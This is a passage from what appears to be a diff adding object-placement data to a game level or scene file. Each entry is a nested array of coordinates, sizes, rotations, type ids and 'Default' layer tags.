+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 5000,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4664,
+ 2229,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 5001,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4664,
+ 2485,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 5002,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5334,
+ -521,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 5003,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4664,
+ 2357,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 5004,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4473,
+ 1941,
+ 0,
+ 13,
+ 449,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 5032,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -445,
+ 240,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 5033,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -818,
+ 799,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5034,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -251,
+ 489,
+ 0,
+ 309.7464294433594,
+ 154.8732147216797,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.4000000059604645,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 452,
+ 4891,
+ [],
+ [
+ [
+ 500,
+ 0,
+ 0,
+ 0,
+ 1,
+ 1
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -487,
+ 598,
+ 0,
+ 50,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 451,
+ 4892,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -553,
+ 794,
+ 0,
+ 53.3104133605957,
+ 53.3104133605957,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 455,
+ 4904,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -368,
+ 876,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 4910,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -669,
+ 861,
+ 0,
+ 70,
+ 70,
+ 0,
+ 0.6349456906318665,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 456,
+ 4911,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 10,
+ 1,
+ 1
+ ],
+ [
+ 500,
+ 0,
+ 0,
+ 1,
+ 1,
+ 1
+ ],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -841,
+ 724,
+ 0,
+ 37.78888702392578,
+ 37.78888702392578,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 457,
+ 4913,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1,
+ 0,
+ 4,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 190,
+ 480,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 1926,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 188,
+ 480,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 1927,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 190,
+ 454,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 1928,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 200,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 190,
+ 455,
+ 0,
+ 56,
+ 52,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 1930,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1309,
+ 1315,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1931,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 388,
+ 469,
+ 0,
+ 93.2040786743164,
+ 93.2040786743164,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 467,
+ 1939,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1626,
+ 677,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 1940,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6969,
+ 1949,
+ 0,
+ 2780,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 2024,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 23044,
+ 441,
+ 0,
+ 250,
+ 923,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 469,
+ 5039,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12461,
+ 671,
+ 0,
+ 276.3340148925781,
+ 89.62183380126953,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1882,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14618,
+ 524,
+ 0,
+ 276.3340148925781,
+ 89.62183380126953,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1884,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14916,
+ 682,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3386,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15296,
+ 682,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3387,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15677,
+ 682,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3388,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15412,
+ 470,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3389,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15514,
+ 458,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3390,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15716,
+ 464,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3391,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15105,
+ 467,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3392,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15105,
+ 464,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3393,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14712,
+ 261,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3394,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14134,
+ 410,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3395,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14409,
+ 329,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3396,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14568,
+ 530,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3397,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14748,
+ 528,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3428,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14907,
+ 500,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3429,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13397,
+ 372,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3434,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13580,
+ 278,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3448,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13071,
+ 570,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3449,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13202,
+ 555,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3450,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12512,
+ 513,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3452,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12378,
+ 696,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3453,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12596,
+ 703,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3461,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13739,
+ 288,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3463,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14238,
+ 375,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3478,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13907,
+ 304,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.05222109705209732,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3528,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12749,
+ 660,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9995859265327454,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3529,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12508,
+ 420,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3547,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12369,
+ 730,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3548,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12461,
+ 730,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3549,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12506,
+ 525,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 3550,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12506,
+ 523,
+ 0,
+ 90.9178466796875,
+ 51.08673095703125,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3551,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12553,
+ 730,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3552,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12645,
+ 730,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3553,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12875,
+ 588,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9995859265327454,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3554,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12817,
+ 642,
+ 0,
+ 299,
+ 51,
+ 0,
+ -0.5235991477966309,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3557,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12978,
+ 587,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3558,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13069,
+ 587,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3559,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13161,
+ 587,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3560,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13253,
+ 492,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3561,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13253,
+ 587,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3562,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13345,
+ 492,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3563,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13345,
+ 397,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3564,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12978,
+ 682,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3565,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13069,
+ 682,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3566,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13161,
+ 682,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3567,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13253,
+ 682,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3568,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13345,
+ 587,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3569,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13345,
+ 682,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3570,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12978,
+ 777,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3571,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13069,
+ 777,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3572,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13161,
+ 777,
+ 0,
